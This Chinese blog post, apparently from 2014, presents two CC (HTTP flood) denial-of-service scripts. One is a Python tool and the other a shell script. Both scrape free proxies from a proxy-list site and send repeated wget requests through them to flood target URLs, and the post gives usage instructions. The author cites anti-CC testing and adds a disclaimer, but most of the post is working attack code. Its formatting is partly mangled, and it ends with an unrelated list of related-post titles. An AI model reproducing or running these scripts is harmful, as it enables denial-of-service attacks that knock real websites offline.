Linux CC攻击脚本
CC(ChallengeCollapsar)主要是用来攻击页面的。大家都有这样的经历,就是在访问论坛时,如果这个论坛比较大,访问的人比较多,打开页面的速度会比较慢,访问的人越多,论坛的页面越多,数据库就越大,被访问的频率也越高,占用的系统资源也就相当可观。

最近在做一些防CC的措施,想验证效果就的有类似CC的攻击,所以写了个Python脚本来模拟CC攻击,其原理很简单,就是去网络上拉取一下渣渣代理,然后通过代理去访问服务器,成本低的吓人,但影响却不小…代码如下(该脚本只能用于交流学习,一切因该脚本产生的不良后果,与我无关):

Python

#!/usr/bin/python
#-------------------------------------------------------------------------------

Name: CC.py

Author: LiuSha

Created: 1/07/2014

Email: itchenyi@gmail.com

#-------------------------------------------------------------------------------

import urllib2
import re
import os
import threading
import time
import random

class RunCC(threading.Thread):
def init(self,proxy,url):
threading.Thread.init(self)
self.thread_proxy = proxy
self.thread_url = url
self.thread_stop = False

def run(self):while not self.thread_stop:os.system("""wget --ignore-length --cache=off --no-http-keep-alive -t 1 --referer="http://www.10086.com" -U 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)' -e "http_proxy=http://%s/" "%s" &"""%(self.thread_proxy,self.thread_url))
def stop(self):self.thread_stop = True

def get_stock_html(URL):
opener = urllib2.build_opener(
urllib2.HTTPRedirectHandler(),
urllib2.HTTPHandler(debuglevel=0),
)
opener.addheaders = [
(‘User-agent’,
‘Mozilla/4.0 (compatible;MSIE 7.0;’
‘Windows NT 5.1; .NET CLR 2.0.50727;’
‘.NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)’)
]
url = “http://proxy.com.ru/%s”%URL
response = opener.open(url)
return ‘’.join(response.readlines())

def Getting_Url():
global CC_Url
file = open(‘url’,‘r’)
CC_Url = file.readlines()
file.close()

def Getting_list():
global IP_Port
IP_Port = []
for html_list in re.findall(‘list_\d+.html’,get_stock_html(“list_1.html”)):
print “getting %s’s IP:PORT”%html_list
IP_Port += eval(re.sub(’’,’:’,"%s"%re.findall(’\d+.\d+.\d+.\d+\d+’,get_stock_html(html_list))))

def main():
global CC_Dict
CC_Dict = {}
for i_name in range(len(IP_Port)):
CC_Dict[‘Thread%s’%i_name] = “RunCC(’%s’,r’’’%s’’’)”%(IP_Port[i_name],random.choice(CC_Url))
for k,v in CC_Dict.items():
k = eval(v)
k.start()
time.sleep(0.6)
k.stop()

if name == ‘main’:
Getting_Url()
Getting_list()
main()

使用方法:
Python

###url 文件一行一个url不嫌多###
[root@test-CC CC]# cat url
http://www.ipython.me/about-me
http://www.ipython.me/
###直接运行###
[root@test-CC CC]# python cc.py

勇敢的大飞哥也用shell 粗暴的写了一个出来,代码如下:
Python

#!/bin/sh
#Email:zhengxiaofeiccc@139.com
url=$1
page_number=curl http://proxy.com.ru |grep -o "list_.*html"|awk -F "'" '{print $NF}'|tail -1|grep -o \[0-9\]*

for i in seq 1 $page_number
do
curl http://proxy.com.ru/list_$i.html|egrep -o “[[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.*[0-9]{2,4}”|awk -F “<|>” ‘{print 1,1,1,NF}’ >> ip.txt
done

while read ip port
do
wget -b --cache=off --ignore-length --referer=“http://www.10086.com” -U ‘Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)’
-Y on -e “http_proxy=http://ip:ip:ip:port/” “$url”
done < ip.txt

Linux CC攻击脚本相关推荐

  1. linux cc攻击脚本,GitHub - yuanguoping/CCKiller: Linux轻量级CC攻击防御工具脚本

    CCkiller Linux attack defense scripts tool --- Linux CC攻击防御工具脚本 请执行如下命令在线安装: curl -ko install.sh htt ...

  2. Linux防CC攻击脚本

    多数CC攻击在web服务器日志中都有相同攻击的特征,我们可以根据这些特征过滤出攻击的ip,利用iptables来阻止 #!/bin/bash #by LinuxEye #BLOG: http://bl ...

  3. linux cc攻击防范

    2019独角兽企业重金招聘Python工程师标准>>> 参考了一下链接的内容: http://blog.csdn.net/cnbird2008/article/details/872 ...

  4. linux cc攻击

    什么是CC攻击? CC攻击就是利用大量代理服务器对目标计算机发起大量连接,导致目标服务器资源枯竭造成拒绝服务.那么如何判断查询CC攻击呢? 本文主要介绍了一些Linux下判断CC攻击的命令. 查看所有 ...

  5. linux 防ddos攻击软件,linux系统下免费防DDOS CC攻击脚本,有效减轻服务器压力 【转】...

    网站DDOS是最头疼的事.即使是国内高防的服务器,也不能100%彻底解决CC,DDOS攻击,在没有硬防的情况下,寻找软件代替是最直接的方法,比如用iptables,但是iptables不能在自动屏蔽, ...

  6. linux cc脚本,LINUX:CentOS防CC攻击脚本

    整个脚本内容如下: #!/bin/sh cd /var/log/httpd/ cat access_log|awk '{print $1}'|sort|uniq -c|sort -n -r|head ...

  7. Linux/CentOS防CC攻击脚本

    http://www.lvtao.net/shell/478.html

  8. xig,Linux恶意攻击脚本进程之一

    首先说明一点,当你在搜索"xig"的时候,我可以肯定你的服务器已经被恶意攻击了, 原因很简单:绝大部分都是因为服务器连接密码设置过于简单. 回去改个密码再删删文件什么的基本就解决了 ...

  9. linux cc脚本,Linux运维知识之Linux简单处理CC攻击shell脚本

    本文主要向大家介绍了Linux运维知识之Linux简单处理CC攻击shell脚本,通过具体的内容向大家展现,希望对大家学习Linux运维知识有所帮助. 第一个脚本是通过查找日志中访问次数过多的ip,并 ...

最新文章

  1. Java List 更换指定位置的元素
  2. Autodesk MotionBuilder 2020中文版
  3. java 向nodejs 发送请求简单案例
  4. OC Swift 走马灯效果
  5. 速度之王 — LZ4压缩算法与其他算法的比较
  6. 【Python】玫瑰花绘制
  7. 【转】linux系统的7种运行级别
  8. HLW8012电能测量芯片使用记录
  9. IE8-阿里icon字体引用不显示的问题
  10. 2021新年腊八祝福语短信
  11. PHP用什么标签方便,PHP_用途相似的标签:acronym与abbr,有的时候为了方便传阅或者记 - phpStudy...
  12. vue3+heightchart实现3D饼图,echarts3D饼图,3D饼图引导线实现
  13. 有一楼梯共m级,刚开始时你在第一级,若每次只能跨上一级或二级,要走上第m级,共有多少走法? 注:规定从一级到一级有0种走法。
  14. 百度飞桨PaddleClas图像识别开源应用扫盲课笔记(一)
  15. DS18B20简单介绍温度测量操作
  16. 安装安全狗linux版本提示报错
  17. Unity的Mesh 应用---视野可视化Field of view
  18. C语言qsort()函数
  19. Linux技术学习路线
  20. 实用高效,25款腾讯热门开源项目推荐

热门文章

  1. 从入门到精通Uboot(1.Uboot概括)
  2. SQL中DELETE 语句
  3. 1.万人直播架构与CDN网络
  4. linux 建立 ntp 服务器,NTP服务器搭建
  5. Java项目中资源文件查找问题
  6. 嵌入式实验(四):用STM32输出PWM波形/DAC功能完成波形输出
  7. c语言 关键字 and,C语言的关键字(一)
  8. 【本科】自动化,【硕士】控制工程与科学的就业前景咋样
  9. D. Rain(思维/线性代数/差分数组)
  10. 日常办公提升效率软件(chrome插件、Octave、BOINC、FLIQLO)